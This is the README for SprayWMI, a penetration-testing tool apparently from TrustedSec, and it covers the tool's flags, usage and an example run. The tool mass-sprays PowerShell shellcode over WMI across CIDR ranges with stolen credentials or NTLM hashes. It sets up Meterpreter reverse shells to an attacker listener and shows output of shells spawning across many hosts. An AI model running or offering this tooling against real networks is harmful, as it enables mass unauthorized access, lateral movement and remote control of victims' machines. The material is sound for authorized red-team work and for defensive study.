B0y1n4o4/spraywmi

SprayWMI is a method for mass spraying Unicorn PowerShell injection to CIDR notations.

Written by: David Kennedy (@HackingDave) @TrustedSec Special thanks to: Justin Elze and Larry Spohn @TrustedSec

Initial blog post: https://www.trustedsec.com/june-2015/no_psexec_needed/ If you have trouble with this on 64-bit, try: dpkg --add-architecture i386 && apt-get update && apt-get install libpam0g:i386 && apt-get install libpopt0:i386

Flags and descriptions:

domain Domain you are attacking. If its local, just specify workgroup.

username Username to authenticate on the remote Windows system.

password Password or password hash LM:NTLM to use on the remote Windows system.

CIDR range or file Specify a single IP, CIDR range (10.0.1.1/24) or multiple CIDRs: 10.0.1.1/24,10.0.2.1/24. You can also specify a file (ex: ips.txt) that contains a single IP addresses on each line. payload Metasploit payload, example: windows/meterpreter/reverse_tcp

LHOST Reverse shell IP address.

LPORT Reverse shell listening port.

optional: NO Specify no if you do not want to create a listener. This is useful if you already have a listener established. If you do not specify a value, it will automatically create a listener for you.

Usage: python spraywmi.py <optional: no>

Below is an example of output from spraywmi:

root@stronghold:/home/relik# python spraywmi.py TS kennedy-test complexP255w0rd! 10.0.90.1/24,10.0.0.1/24,10.0.59.1/24,10.0.96.1/24,10.0.1.1/24 windows/meterpreter/reverse_tcp 10.0.47.24 443

[*] Generating shellcode through Unicorn, this could take a few seconds.

[*] Launching the listener in the background.

[*] Waiting for the listener to start first before we continue.

[*] Be patient, Metasploit takes a little bit to start.

[*] Sweeping targets for open TCP port 135 first, then moving through. Be patient.

[*] Launching WMI spray against IP: 10.0.90.1 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.96.20 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.96.21 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.96.22 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.96.23 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.96.242 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.1.13 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Spraying is still happening in the background, shells should arrive as they complete.

[*] Interacting with Metasploit.

msf exploit(handler) >